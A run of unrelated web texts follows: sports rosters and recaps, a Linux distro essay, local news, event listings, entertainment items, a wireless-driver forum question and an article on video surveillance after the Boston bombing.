--CB Shaun Prater (second-year player, Iowa)
--WR Taveon Rogers (second-year player, New Mexico State)
--WR Roy Roundtree (rookie, Michigan)
--LB J.K. Schaffer (first-year player, Cincinnati)
--QB John Skelton (fourth-year player, Fordham)
--DT Terrence Stephens (rookie, Stanford)
--G John Sullen (rookie, Auburn)
--LB Bruce Taylor (rookie, Virginia Tech)
PRACTICE SQUAD: All players waived today except John Conner and John Skelton will be eligible to be signed to an NFL practice squad if they clear waivers tomorrow. The Bengals plan to announce tomorrow a practice squad of up to eight players.


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Linux users, start your engines
Unless you're a motorhead to a varying degree — and an older one at that — you probably don't know who John Cooper is. His contributions in racing circles — putting the engine behind the driver in his Cooper Formula 1 cars in the late 1950s — would normally cement his place in automotive history, but he didn't stop there.
The thing for which Cooper is more widely known is modifying the British Motor Corporation's Mini in the 1960s, adding his name to make it the Mini Cooper while adding a higher degree of performance that won the little car that could a warehouse full of rally trophies and Sports Car Club of America club racing victories.
Around the same time as the development of the first Mini Coopers, across the pond in America Carroll Shelby took the Ford Mustang and with a vision of making it faster and better, he gave us the Shelby Mustang along with the whole Shelby Cobra series (not to mention, later, the Dodge Viper). Shelby's association with Ford started a trend in the U.S. of taking a mass produced car and making it into a high performance machine.
So go ahead and ask: "Larry the Free Software Guy, what the heck does this have to do with Linux and FOSS?"
It's simple. Linux and FOSS has their own versions of John Cooper and Carroll Shelby making high performance versions of mass produced distros, building on the foundation of one of the "big three" Linux distros to make fire-breathing, pixel-burning distros; distros that are the digital equivalent of vehicles that are more than just for taking the kids to soccer practice or zipping over to the grocery store.
Not everyone can drive a Cobra or a Testarossa, nor does everyone want to. But knowing that the option is there, and that there are people out there providing those options, is one of Linux/FOSS's strengths.
We see this in distros like Kororaa, where Chris Smart and his team once based their distro on Gentoo and switched "manufacturers" to use Fedora in producing a solid, quick distro that works well right out of the box.
Jeff Hoogland and his band of developers at Bodhi Linux marry the lightweight Enlightenment desktop environment to Ubuntu. A combination of the lightweight desktop and the users' choice of what to include in their own digital vehicle makes this perhaps the best combination of getting the best performance out of one's machine.
Pixel-burning performance is one of the hallmarks at Crunchbang. Philip Newborough, a web developer and GNU/Linux enthusiast living and working in Lincoln, England, takes John Cooper's legacy to heart — in a digital sense — while he and his team provide a Openbox-based window manager with Debian rumbling under the hood.
We even see this high performance riff on the enterprise Linux side, where in a digital "garage" Derek Carter, Clint Savage and others are gearing up GoOSe Linux. This project deserves special mention because not only is the performance measured on the instruments, but also on the community building process in an enterprise realm.
Examples are abundant, and forgive me if I don't get to all of them. There are others who deserve mention: Salix OS provides a distro worthy of flamed fenders and racing stripes. Kenneth Granerud had a high performance distro in Wolvix which, due to some personal upheavals, became dormant, but in talking with him recently we might see it come back sometime soon.
So when someone complains about the fact that there are 320-something distros out there, bear in mind many of them are not for everyone.
So buckle up, and let's be careful out there.
(Larry Cafiero is one of the founders of the Lindependence Project and has just started developing software in his new home office. Watch this space.)


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Meeting Rooms A, B & C
Friday, July 18 3:00 pm to 8:00 pm
Celebrate summer reading by joining us for this free double feature movie showing! Follow Iron Man, Captain America, Thor, and other Marvel characters as they fight to save mankind in The Avengers. Then, stick around to watch Thor battle evil forces as he tries to save Earth and Asgard from destruction in Thor: The Dark World. Movie Information: PG-13 (children under 13 must be accompanied by an adult). The Avengers (3:00-5:30): PG-13, 143 minutes; Thor (6:00-8:00): PG-13, 112 minutes.


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The jersey worn by Tom Brady in the New England Patriots' win over the Atlanta Falcons in Super Bowl LI has been found, the NFL announced on Monday morning.
Brady's jersey went missing sometime after the game and has been the subject of speculation for the two-plus months since the game was completed and Brady won the MVP award for that game.
In a statement from the NFL, the league said cooperation from the Patriots' security team, the FBI and other law enforcement authorities helped lead to the recovery of the jersey, along with the jersey that Brady wore in the Patriots' win over the Seattle Seahawks in Super Bowl XLIX two years earlier.
The NFL said the two jerseys were found in the possession of a "credentialed member of the international media."
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I recently installed BackTrack 5 R1 on my late 2011 13" Macbook Pro 8,1 and everything installed fine after some helpful Google searches.
One of the main issues I am having is that the Wireless card on my Macbook isn't being recognized. When I use Wicd Network Manager it doesn't see any wireless networks (No Wireless Networks Found). Also, when I do a iwconfig it says "no wireless extensions". I'm kind of stuck at the moment it would greatly appreciate any help anyone can provide.
The wireless card information after doing a lspci is as follows:
Broadcom Corporation BCM4331 802.11a/b/g/n (rev 02)
Please let me know if anyone has gotten the wireless card functioning correctly on a Macbook Pro 8,1?
Looking forward to your replies. :)


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What can one say. Alchemy and the various attempts of turning substances into gold by transmutation or otherwise has been well known for many centuries.
Most attempts were fairly reasonable, considering ignorance of chemical reactions in the past (we`re talking 400 hundred years ago at least) involving bizarre chemical processes and all manner of inert metals.
But up comes our Irish friend Paul Moran (or should that be Moron)?
Paul admitted in a recent court case in Northern Ireland that he was a bit of a drug addict in the past, but his barrister confirmed that Paul was a man of the utmost intellect.
Paul`s method of transmutation concerned him laying his freshly dropped turds on top of an electric heater in his home. This drying out process, he was convinced, would turn his waste product into a little gold.
Unfortunately when turds dry out quickly they turn into a kind of tinder. Paul`s flat caught fire.
He was arrested and charged with arson and endangering the lives of other flat owners. He is now serving three months in jail.
Must be the first case ever of being jailed for trying to turn turds into gold
He is Irish, though
http://www.belfasttelegraph.co.uk/news/ ... 66385.html


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A close up at the store window showing massage oil on top of a mug in the character of SpongeBob SquarePants, beside a black whip with a tag saying Fetish. The mixture of cartoon characters and sex toys in the windows with a school crossing outside and children walking past daily has residents upset.
©THE GUARDIAN/Nigel Armstrong
Charlottetown's planning board can find no legal reason to ban a sex shop blocks from two nearby schools in the city, but will control what children see in the shop windows.
The board met Monday and will recommend that council accept a development agreement application from Taboo Compay: Adult Store/Smoke shop. It is located on the corner of Euston and Upper Hillsborough streets with a school crossing complete with crossing guard right at its front door.
Close by is Birchwood junior high school and Prince Street elementary school. The shop sells sex toys, lingerie and paraphernalia such as pipes, hookahs and scales.
Homeowners and residents of the area are upset the business has been allowed to open in their neighbourhood, and are registering their complaints with city hall.
Resident Anne MacNiven says her main concern is for the children who live in the area.
The building that houses Taboo was one of many corner stores throughout the city grandfathered into the city's zoning bylaws to allow them to continue to operate as commercial businesses, despite the fact they are located in residential areas.
Each time one of these locations gets a new tenant, a new development agreement is required.
The planning board consists of city councillors and appointed members of the public. Recommendations of the board are not binding on council, which has the final say by vote at monthly council meetings. General practice, however, most often sees council voting in support of the board's recommendations.
"Planning board reviewed the application for the adult novelty and smokeshop," said an email to The Guardian Monday from Councillor Rob Lantz, chair of the city's planning and heritage committee. "The board recommended approval.
"The general discussion was that there are no grounds to deny the application in our bylaw," said Lantz.
"The recommendation to approve included a condition that the development agreement stipulate what is acceptable to be displayed in the window," he said.
"Council will make the final decision next Monday night," said Lantz.


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LONG BEACH - Over the years, health officials have posted warnings throughout favorite fishing spots, warning of potential health hazards from the day's catch. | » Tumor found on white croaker
That may one day become a thing of the past.
On Tuesday, the State Water Resources Control Board approved a water quality restoration strategy for the ports of Long Beach and Los Angeles to address hazardous toxic chemicals that can harm human health and marine life.
The plan aims to protect fish caught for eating.
The number of fish species considered to be unsafe to eat has increased through the years, said Nelson Kerr, environmental health specialist at the Long Beach Department of Health and Human Services.
"There was just one - the white croaker," recalled Kerr.
Now, white croakers have been joined by black croakers, barred sand bass and top-smelt on the posted warning signs at piers and other fishing locations.
But the ports have increased their focus on curbing water pollution since 2009, according to Long Beach Harbor Department spokesman Lee Peterson.
"Water quality has been improving," he said. "Wildife has rebounded, and we're committed to working in the process."
Samuel Unger, executive officer at the State Water Resources Control Board, said the project will involve special studies to determine which restoration effort will be the most effective. The studies and work could span a 20-year period, he said.
The restoration strategy, known as a Total Maximum Daily Load, or TDML, is designed to clear out metals, DDT, PCB and other pollutants in the Dominguez Channel and the port waters.
"Our goal all along has been to work with the municipalities, the Ports, the environmental community and the industrial and commercial traffic that uses these waterways," said Los Angeles Water Board Chairwoman Maria Mehranian, following the State Water Board's approval in Sacramento.
"The Long Beach-Los Angeles Port complex is the busiest harbor in the United States and one of the largest in the world," she added in a prepared statement. "The strategy will bring about sediments that support healthy sediment-dwelling organisms and fish that are safe to eat."
Officials said the new strategy addresses more than 70 water quality impairments resulting from high concentrations of pollutants in water, sediment and fish in the Dominguez Channel and the harbors, the largest number of pollutants addressed by a single TDML in the state.
Specific fish tissue levels have been set to protect human health and are based on fish consumption guidelines set by the Office of Environmental Health Hazard Assessment.
The TMDL won't require dredging of the entire harbors.
The TMDL is focused on toxic "hot spots." The distribution of chemicals such as DDT and PCB in the harbor sediments is highly variable - in many areas it already meets the sediment standards.
The Los Angeles Water Board and the Ports have identified several foreseeable options remediating contaminated sediment, including hotspot removal, capping and continued monitored natural attenuation.
Cities that directly discharge storm water into the waters of these two ports will be required to comply with the strategy to ensure they are not contributing to the existing contamination.
For more details, visit: http://www.waterboards.ca.gov/board_info/agendas/2012/feb/020712_7_with%20draft%20resolution.pdf
To learn more about the Los Angeles Regional Water Board, visit: http://www.waterboards.ca.gov/losangeles/reduce pollution.
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Wittenberg Professors To Host Reading And Roundtable Discussion Of Nobel Prize-Winning Novelist Mo Yan
Springfield, Ohio – Nobel Prize-winning Chinese novelist Mo Yan, author of the acclaimed novel Red Sorghum, is the subject of a Reading & Roundtable Discussion at 4 p.m. Monday, Nov. 12, in 131 Hollenbeck Hall.
Four faculty members will lead the Reading & Roundtable Discussion, highlighted by Associate Professor of Chinese Language and Cultural Studies Shelley Chan, author of A Subversive Voice in China: The Fictional World of Mo Yan. She will be joined by Associate Professor of Languages and Cultural Studies Howard Choy, who will chair the roundtable and discuss the globalization of contemporary Chinese literature, Associate Professor of Foreign Languages and Literatures Christine McIntyre, who will discuss the influence of Latin American magical realism on Mo Yan, and Professor of Communication Matthew Smith, who will discuss the film version of Red Sorghum.
Red Sorghum was published in 1987. His works, which often paint intricate portraits of Chinese rural life, have been widely translated and distributed throughout the world. His novels have been described as "predominantly social commentary," influenced by the social realism of Lu Xun and the magical realism of Gabriel Garcia Marquez.
The selection of Mo Yan as the winner of the 2012 Nobel Prize for Literature on Oct. 11 was widely celebrated in China, where he serves as vice chairman of the state-run Chinese Writers' Association. Chan was interviewed by media outlets throughout the world, including those originating from Great Britain, the United States, China, Sweden, Germany, Denmark and Brazil, as an expert on one of the most widely read and best known contemporary Chinese writers.
The Nobel Prize committee described Mo Yan as an author "who with hallucinatory realism merges folk tales, history and the contemporary," and pointed out that "through a mixture of fantasy and reality, historical and social perspectives, Mo Yan has created a world reminiscent in its complexity of those in the writings of William Faulkner and Gabriel Garcia Marquez, at the same time finding a departure point in old Chinese literature and in oral tradition."
A member of Wittenberg's faculty since 2004, Chan specializes in modern and contemporary Chinese literature, culture and language pedagogy. She wrote her dissertation on the fiction of Mo Yan, and she is the editor of a volume of his selected stories for a Hong Kong publisher.
The Reading & Roundtable Discussion is jointly presented by the Departments of Foreign Languages & Literatures, East Asian Studies, International Studies, and Cinema Studies, and Thomas Library. A small exhibit of Mo Yan's work will also be available in the lobby of Thomas Library.
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Driver tries to rundown motorcycle officer
Wednesday afternoon, a Portland Police Bureau Traffic Division officer stopped a 2003 Chevy Avalanche pickup at North Williams Avenue and Webster Street after the officer observed the driver speeding and running a red light at North Williams and Alberta Street.
The officer activated his emergency lights and sirens on his 2011 Kawasaki Police Motorcycle and the Avalanche turned onto Webster quickly and pulled to the curb. As the officer pulled in behind the Avalanche, the driver placed the Avalanche in reverse and accelerated towards the officer.
The Avalanche struck the police motorcycle just as the officer was putting down the kickstand and dismounting the bike. The motorcycle crashed to the ground but the officer was able to remain upright and engage the driver at gunpoint and give him commands to stop the vehicle.
The driver stopped and complied with commands as additional officers from North Precinct and the K-9 Unit arrived to assist the Traffic officer.
The driver, 34-year-old Robert Joseph Gilliam III, was taken into custody and officers learned that he had an outstanding parole violation warrant on an original charge of Assault in the First Degree.
Gilliam was charged with Assaulting a Public Safety Officer, Attempted Assault in the Second Degree, Reckless Driving, and Criminal Mischief in the First Degree. Gilliam was booked into the Multnomah County Jail and will be arraigned on Thursday.
Traffic Division Officer Michael Close, an 11-year-veteran of the Portland Police Bureau, received a minor knee injury during the crash.


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Discussion in 'Fan Zone' started by CATCH17, Nov 29, 2012.
Not really. He is a fullback on his 3rd team in 3 years in a passing offense.
Jason Garrett obviously learned more from Wade Phillips than any of us thought.
I get that you do need some crazy guys, and especially this team, but you can't go full contact when nobody else is. There's a time and place for everything and this wasn't it. You can't be blowing people up when your teammates aren't expecting it. It's that way even in high school.
As far as Poppinga goes, didn't we choose Guyton over him when we were looking for someone to sign? And we cut Guyton like a day later. So I don't expect much out of this guy. Probably just on special teams where that wild man attitude really works.
I wish this story read that Vickers got up and drilled Poppinga, but of course that would be considered a physical altercation which is foreign to this team. The makeup of the club is so flippin' soft and emotionless it's sickening.
Yes vickers is battling a knee injury. He almost didn't play in the browns game or the skins game. He stepped up because Te team is thin at rb. Tat s why he was out there in a bunch if third downs.
So having a guy off the street hit him when he is not expecting it in practice is more about poppinga being often reservation than who is tough or not.
And for The record, popping a was a guy in 08 when we played at gb who laughed at Marion barber, him and Barnett were joking about him being called the barbarian.
Poppinga spent most of the night on his back and barber had a good game with a bunch of physical runs.
So congrats to us, he is on our roster now.
Dez is crazy too...well he was until everyone made a big fret about it. now he's mellowed into the country club rkg atmosphere.
Can't believe it took 36 posts before we got this gem.
Next thing you know we'll be talking about playoffs.
If Vickers is injured.. he shouldn't be practicing.
If he's banged up.. contratulations.. so is everyone else in the league right now. Welcome to football.
Bottom line is, everyone is saying "oh you can't go full speed when no one else is"
..who's to say this is a portion of practice where they weren't going full contact or full speed? No one has that information, so to say guys weren't supposed to be going full ahead is incorrect. Furthermore, they were in pads, they were hitting.. i'd only assume it was supposed to be full contact.
Any way you look at it.. when a guy puts a solid, clean hit on you, especially as a fullback, and you say, "We don't practice that way", and get all upset about it.. it looks pretty bad on you.
Probably the worse thing about the team at this time in my mind, its like they are a bunch of tin men with no heart. Noone with any attitude, just a bunch of choir boys and boy scouts who know how to lose gracefully.
Problem is Jerry is really the only person they will listen to when it comes to their jobs, and all he usually does is kiss their hind parts. Its just really a sad situation.
Batman better show something sunday, otherwise he is just another moronic mouthpiece.
From nfl.com:
Not saying this was necessarily one with limited contact, but that appears to be the case.
Again, as much as I like seeing a guy have "one speed" when it comes to hitting, the NFL simply doesn't condone it anymore on a regular basis.
They were in pads.. it was a full contact practice. There isn't full contact and limited contact padded practices.
There are practices in pads.. 14 during the season allowed.. and practices with no pads.
I get what you're saying, but full pads does not mean full contact. That's strictly up to the coaches, who can dial back the amount of hitting based on what they want to get accomplished, injuries, etc.
The OP said the team wasn't practicing full speed. If they are not practicing full speed, then the contact is limited at least at that point in practice.
Almost made me spit out my coffee! That was funny. Thanks for starting my day off with a good laugh.
Yes add Dez to the crazy list on the current team. Maybe next year he will have enough respect to actually take on the roll of an Irvin.
I like Popp even more now.
I agree with him. I never bought into that half speed BS when I was playing football either. You always played football one way.
All out.
playoffs? are you kidding me?
I remember a guy who used to practice hard:
Full pads should absolutely mean full contact. For ******'s sake you only get one practice in pads a week now.. now even that after week 11. If you arn't going full speed, full contact in that practice there's something wrong with your team.
Guess we know where our lack of physicality comes from now.


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Raise them high because today (3/2) is Silly Putty Day! Silly Putty, that wonderful pink rubber-like stretchy substance was introduced to the public on March 2nd in 1950. 61 years ago! Do you know the story behind this silly stuff???
Developed as a possible rubber substitute for the World War II effort. America needed rubber to produce truck tires and boot soles, so manufacturers were asked to come up with a synthetic rubber. James Wright, an engineer with General Electric combined silicone oil and boric acid resulting in a goewy substance that when dropped bounces. They called it Bouncing Putty. Try as they might, GE could not come up with a practical use for the substance. However, in 1949 Paul Hogdson, a toy store manager bought $147 dollars worth of Bouncing Putty, separated it into little colored eggs, called it SILLY PUTTY and then sold it through his toy store.
In August of 1950, a writer for the New Yorker magazine discovered Silly Putty in a Doubleday bookstore. He wrote a story on it in The Talk of the Town. Within three days, Hodgson received orders for 250,000 eggs. And just in case you thought Silly Putty was totally silly, you might be surprised to know that it was included in a Smithsonian Institute display in 2000, as part of an exhibit displaying objects that helped shape American culture.
I just had to share this fun little story. I LOVED Silly Putty as a kid. I must admit, now at the age of 52… I have two eggs of Silly Putty to play with. What can I say? I like the stuff :). Of course, I have a mini-slinky on my desk and a teeny etch-sketch in my drawer. Moral of the story – you're never too old for stuff like this. So get yourself some Silly Putty.
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Trisha Yearwood is getting ready for her fans to hear her new music, including her latest single "Prizefighter."
Trisha recorded "Prizefighter" with Kelly Clarkson. It's the title track to Yearwood's upcoming album, which will be her first collection of new studio material in seven years!
"Prizefighter" is slated for release on September 15th. An arrival date for the album hasn't been announced yet.
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text: Cowboys 27 - Steelers 17 http://www.dallascowboysfanclub.com/superbowl/sb30.htm Superbowl 30TEMPE, Ariz. - It was the ultimate triumph for the richest and most talented team in football, and it concluded without a trophy tug between owner and coach. It could be redemption for beleaguered coach Barry Switzer and perhaps vindication for controversial Cowboys owner Jerry Jones. Troy Aikman and Emmitt Smith produced three touchdowns playing behind their Super Bowl XXXL offensive line as the Cowboys outlasted the Pittsburgh Steelers, 27-17, to take Super Bowl XXX. Cornerback Larry Brown was selected the Most Valuable Player for intercepting two Neil O'Donnell passes and returning them 44 and 33 yards. The Cowboys converted those turning-point plays into 14 decisive points in the second half while claiming an unprecedented third Super Bowl title in four seasons before 76,347 at Sun Devil Stadium. Jones handed the first Lombardi Trophy the team has won since Jimmy Johnson's dismissal to Switzer, who held it firm and thrust it high. "We did it our way, baby," he shouted to Jones. "We did it! We did it!" In the locker room afterward, Switzer downplayed the vindication angle. "That's not important to me. That never had been," Switzer said. "I just want to be a team guy. We did it, and we did it my way. Let the players tell you about that." The limousine-hopping Cowboys (15-4) held off the lunchpail Steelers (13-6) to match the San Francisco 49ers as the only franchises to win five Super Bowl titles. Overcoming controversy and internal conflict, the Cowboys clearly reign as the Team of the '90s. "I know that having done it three times in four years certainly this football team has made a place in history," Aikman said. "I don't know if this team is going to be regarded as the Team of the '90s. I don't think anyone in our organization is ready to look back over the last four years and say we had a good run." That is because the Cowboys have great players still in their prime. There is no apparent reason they should not remain competitive. The sharpest difference between the Cowboys and Steelers seemed to be at quarterback. While each threw only seven interceptions in the regular season, O'Donnell threw two nervous interceptions when confronting Dallas blitzes. Meanwhile, Aikman was unflappable and flawless. Aikman flashed his trademark big-game brilliance with 15 completions in 23 passes for 209 yards and a touchdown. He joins San Francisco's Joe Montana and Pittsburgh's Terry Bradshaw as the only NFL quarterbacks to win three or more Super Bowls. While they never trailed and often seemed the dominant team, the Cowboys were this close to possible defeat: They needed Brown's interceptions to position Smith for touchdown runs that culminated two-play possessions covering 18 and six yards. The first turnover inflated the Cowboys' 13-7 halftime advantage - the closest Super Bowl intermission in four years - to 20-7. The second confiscated emotion and momentum from the Steelers for the last time. Each time, a panicky O'Donnell miscommunicated with his intended receiver and threw passes directly to Brown. "We're all in this together, so you can't single out one individual," said O'Donnell, who claimed the first interception was a result of the ball slipping from his hand on the throw. "There wasn't one reason we lost this football game. I told everyone earlier in the week that it would be an exciting football game, that we would have a chance. We did." The second interception was particularly devastating for Pittsburgh. The Steelers had the Cowboys reeling at the time. Coach Bill Cowher's boldness helped the Steelers shock the Cowboys with 10 consecutive points in the fourth quarter. The defiant Steelers stubbornly played their way into the contest by following a Norm Johnson field goal with the earliest successful onside kick in Super Bowl history. The Cowboys, leading 20-10 with 11:20 remaining, were unprepared for the tactic. Pittsburgh's Deon Figures recovered on the run between sprawling Cowboys Dixon Edwards and Jim Schwantz. The Steelers reduced the deficit to 20-17 when Bam Morris ran untouched for a touchdown from a yard out with 6:36 remaining. In a Super Bowl rarity, there suddenly was fourth-quarter drama. That intensified as the Cowboys punted with 4:15 to go, giving Pittsburgh the ball and a chance for the lead. But O'Donnell's first pass was incomplete but was a better result than his next throw produced. Brown intercepted a throw intended for Corey Holliday. Despite Smith's two touchdowns, the Steelers' defense constantly thwarted the NFL rushing champion. But menacing rushers Kevin Greene and Greg Lloyd never could consistently penetrate the Cowboys' protective wall around Aikman. In leading the Cowboys to points on their first three possessions, Aikman completed 10 consecutive passes and was 11-of-15 during the first half. He had a three-yard touchdown pass to Jay Novacek and lost another when Irvin was called for offensive interference to nullify a touchdown reception. "We felt we had controlled the ballgame in the first half, but we hadn't been able to take control on the scoreboard," Aikman said. In their three previous Super Bowl triumphs, the Cowboys had never taken so long to overcome their adversary. But the Cowboys put down the Steelers and defeated their own various devils. "You can put the other two together, and this one outweighs them," Irvin said. "That's because of what we went through this year, because of the times people counted us out. We got a little bit closer, turned in a little bit more and got it done. Bottom line, we got it done."


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Seminary Students Attend Oxford
Seminary students Haley Cloyd and Daniel Somboonsiri have been selected to attend the Logos Conference, a two-week internship in Oxford sponsored by the Green Scholars Initiative (GSI). Only students working on GSI projects were invited to apply for the summer conference, where world-renowned academic experts will teach them history, theology and textual studies.
Cloyd has been working on MU's GSI Dead Sea Scrolls project since last fall, and Somboonsiri began analyzing the fragment this spring. Biblical Languages Chair Dr. Karl Kutz has been directing the project. "I'm not surprised Haley and Daniel were selected," he said. "They are both very capable. I'm very proud of them."
Spring Thaw Unites 800 High School Students
The fifth annual youth retreat led by Dr. Rob Hildebrand proved to be another success. More than 800 high school students filled Multnomah's campus for 44 hours filled with unforgettable games, teaching, laughter, worship, Disney characters and donuts. They left feeling inspired, united and encouraged.
More than 200 volunteers — composed of MU students and staff — planned, built and facilitated the April retreat. A small group of students majoring in Youth Ministry took on larger leadership roles and served as interns. "I think it's great that MU can open up and do this for us," said Tim Blank, a senior from Abundant Life Church in Sandy, Ore. "It says a lot about the school. I'm glad I got to be here."
MU Partners with Portland Police
Multnomah hosted an all-day training exercise with the Portland Police Bureau's Rapid Response Team (RRT) on campus in April. The RRT, a group composed of 70 law enforcement members, spent the day practicing crowd control procedures and techniques. More than 30 law enforcement officials from the Portland metro area, Washington and California observed the scenarios.
Sgt. David Abrahamson, RRT member and former Multnomah student, led the training. For Abrahamson, the opportunity to join Multnomah in a communal effort was inspiring. "This process has blessed all of us," he said. "MU has gone above and beyond to help us. I can't say enough good things about this school."
College and Grad School Hire New Leaders
Dr. David Manock has been selected as director of Multnomah's Master of Arts in Counseling Program. A licensed marriage and family counselor, Manock has nearly two decades of experience running a private practice. "I'm looking forward to learning how I can help the MAC students succeed as professionals," he said. "I'm committed to excellence in clinical counseling so that students will know their craft and find their place in the community."
The University has also hired Lee Sellers to lead its undergraduate Business Administration program. Sellers, who holds an MBA, has owned and operated his own consulting business for more than 14 years. "I enjoy challenge, and I'm excited to build something at MU," he said. "I want to develop a world-class program that prepares students to go into the real world and make connections with people that reflect the Gospel."
Seminary Offers Free Lectureship Series to Public
Multnomah sponsored an opportunity for the general public to hear from some well-respected speakers the University had brought in for its DMin and MAAT programs. The free lectureship series, geared toward ministry practitioners, gave the speakers a chance to talk about their unique ministries and what they saw as relevant for the local church in the current culture.
The guest speakers were George Hunsberger, professor of missiology at Western Theological Seminary; Josh Butler, pastor of local & global outreach at Imago Dei Community; Terry Muck, executive director of The Louisville Institute; Hugh Halter, author and speaker; Carolyn Custis James, the president and founder of Whitby Forum; and Christena Cleveland, associate professor of reconciliation studies at Bethel University.
MU Applies to Cascade Collegiate Conference
The Cascade Collegiate Conference (CCC) approved Multnomah University's membership application, moving the Lions one step closer toward conference participation during the 2015-16 season. MU's membership in the CCC is contingent on admission to the National Association of Intercollegiate Athletics. MU will apply to the NAIA in September, and a decision is expected next spring.
"It is a great honor for Multnomah's application to be accepted by the Cascade Collegiate Conference," said Dr. Wayne Strickland. "We could not be more pleased to be associated with such a prestigious conference, and we look forward to building lasting and meaningful relationships."


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Tiger is a man, born a slave, who is now the greatest of sword masters in the desert south. Del, a beautiful northern woman, has mastered the sword in her own snowy land. They meet by chance at an inn as Del begins her search for her brother, Jamail, who was captured by slavers. Del hires Tiger as a guide and they set off across the deadly Punja desert to find Jamail, whom they discover was last seen in the Southern city of Julah. As they travel they...
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Samson, Xbox and Revolver were backstage May 2 at the 5th annual Revolver Golden Gods Awards to host all the artist interviews, which aired live exclusively on Xbox Smartglass. Now Samson and Revolver are releasing all the interviews for you to watch!
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'"I tried to be patient tonight," Ruff said. "I was hoping the Ennis line would catch a little traction. But I think right now we can try anything going into the next game. You'll probably see some lines get (shaken) up. But that top line will stay where it's at."'
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Do you have a loved one who struggles with homosexuality?
How do you relate to him or her? Perhaps you yourself
struggle with homosexuality. Do you feel isolated, afraid
to express what you are feeling and experiencing? Christians
often talk about freedom in Christ. But you feel as
if you are weighed down with a burden too great to bear.
How do you cope? What's the solution?
Relational problems require relational solutions. According
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'Hunger Games' Cast and Crew Share Moments From Final Day of Filming
By Olivia Perez
And that's a wrap!
After almost three years since the start of The Hunger Games franchise, the final scenes of Mockingjay — Parts 1 and 2 have been completed, and it was definitely an emotional day.
Nina Jacobson, a producer on The Hunger Games films, tweeted out a photo of Jennifer Lawrence, Josh Hutcherson, Liam Hemsworth, and Woody Harrelson in a sentimental hug after shooting the final scene of the latest installment.
That's a wrap. Thank you @SuzanneCollins Thank you @Hibbits Thank you HG Fans. Other than that, I'm speechless. pic.twitter.com/Ryoz5KntJI— nina jacobson (@ninajacobson) June 21, 2014
"That's a wrap. Thank you @SuzanneCollins Thank you @Hibbits Thank you HG Fans," producer Nina Jacobson wrote. "Other than that, I'm speechless," she tweeted.
Actor Sam Claflin, who plays Dictrict 5's Finnick Odair, also tweeted out his gratitude for his role on the series.
(1/3) I just want/need to express my many thanks to everyone (cast, crew & fans) who have worked so hard for so long to make... — Sam Claflin (@samclaflin) June 21, 2014
(2/3) The Hunger Games experience what it is. But for also trusting me enough to let me be part of it. I feel privileged, honoured and so... — Sam Claflin (@samclaflin) June 21, 2014
(3/3) very lucky to have shared this opportunity with so many passionate & talented people. #dreamjob @TheHungerGames @lionsgatemovies x — Sam Claflin (@samclaflin) June 21, 2014
Willow Shields and Jena Malone shared photos on Instagram to commemorate the last day.
Willow, who plays Jennifer Lawrence's little sister Prim, posted a snap of her fellow castmates and herself on the red carpet with the caption,"Such a bittersweet moment… Mockingjay parts 1 & 2 have officially wrapped! This has been such a wonderful journey and I cannot wait till you see the films! What a huge part of my life and I wanna thank all of you beautiful people for supporting our series all the way! Are you excited or are you EXCITED to see Mockingjay?"
Jena, also known as the rebellious Joanna Mason, shared a photo of herself onset.
"Photograph taken on my last day of filming for the entire hunger games series. It was a sad but beautiful feeling. Letting go of a character I love. Knowing I'll miss this wonderful family I've gotten to be a part of. What an incredible journey it's been. #loveasbigasmountains #johannamason4ever #thebestfamily," she captioned the photo.
Although their days of The Hunger Games are over, we won't get to see the cast on the big screen until Mockingjay — Part 1 comes out in November.


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Everyone has seen the video by now. The Boston bombers, dressed similarly, toting their backpacks through the crowd, one behind the other. With such a powerful visual cue, it's easy to suppose that video played a crucial role in capturing the culprits.
That's true to a certain extent, because video images led to quick identification. And then there's the knee-jerk response: Let's hang a video camera off every lamppost in every major city, at every big event. Let's capture every face in the crowd and scan continuously for suspicious action.
And yet, most experts in the field are ambivalent. Is the technology good enough? Do we sacrifice too much liberty? Will the stuff even work? In a post-Boston world, video surveillance seems to raise more questions than it answers.
Crowd Management
For some in public service the presence of video surveillance is an undisputed good. In the U.S. Park Police, Commander of Technical Services Dave Mulholland talks about cameras as a powerful force multiplier. Considering the budgetary constraints on boots on the ground, "this is something you have to do. It provides situational awareness. It provides you the opportunity to share with all your agency partners," he said.
Since 2001, the Park Police has maintained video watch of the Lincoln Monument, Jefferson Memorial, Statue of Liberty and Golden Gate Bridge, which is anchored on public land. The service employs a hybrid system of CCTV on secure networks, along with tactical, mobile cameras feeding signal via the Internet. "That has opened up the possibility for me to now share those capabilities with other agencies," Mulholland said.
These capabilities came into play during the Rally to Restore Sanity in October 2010 at the National Mall in Washington, D.C. When an expected crowd of 60,000 swelled to several hundred thousand, Mulholland used video to watch for surges and possibly dangerous conditions to manage the oversized crowd.
"If something happens, we want to see it, so that we know what resources to send to the scene," he said.
An Ounce of Prevention
Beyond crowd control, public cameras also have been used as a means of crime prevention. The Urban Institute cites Baltimore as an example, with more than 500 cameras installed in high-crime areas, mostly in a 50-block area in downtown Baltimore. Roughly four months after cameras were installed downtown in 2005, crime dropped by more than 30 incidents per month on average.
A Coordinated Medical Response
The medical response for between 150 and 200 people who sought treatment immediately following the April 15 bombings was efficient for various reasons.
The large number of emergency medical services personnel already on hand at the marathon finish line played a big role, as they were able to quickly coordinate patient care.
All hospitals used the statewide WebEOC system, a crisis management system with real-time updates, within minutes after the blasts to update data such as bed and staffing availability.
The explosions' proximity to five Level 1 trauma centers meant that there was expertise on hand to treat just about any injury that came through the hospital doors. These hospitals have specially trained staff
that helped write the national protocols for mass casualties and disaster planning.
The elimination of ambulance diversions in the state a few years ago also was instrumental, as hospitals have learned how to coordinate patient-care needs when their emergency departments are full. This became crucial on Marathon Monday, when many hospitals received 10 to 20 injured victims within an hour.
All the hospitals have participated in citywide and internal drills to help develop responses to mass casualty events, and staffs were coordinated to ensure that there were enough caregivers to handle the patient flow. Many off-duty doctors and nurses went to the hospitals to help their on-duty colleagues.
Source: Massachusetts Hospital Association
This leads up to Boston and a question that lies at the heart of the video surveillance debate: Will it work as a preventive? Would a few thousand cameras in potential hot spots deter a major occurrence?
Here the ambivalence kicks in.
One problem right off the bat involves the profound likelihood that people who commit acts of terror or extreme violence are not thinking clearly.
In the case of the Boston bombers, "you would think they had to have known that their picture was constantly being taken, and yet right afterward, they went right back to their normal life," said Joseph Young, associate professor at American University's Justice, Law and Society Department. "For the deterrent effect to work, you have to assume you have a rational agent, and that's a pretty large assumption. In these lone wolf domestic cases it doesn't seem like they are thinking these things through."
Some are optimistic.
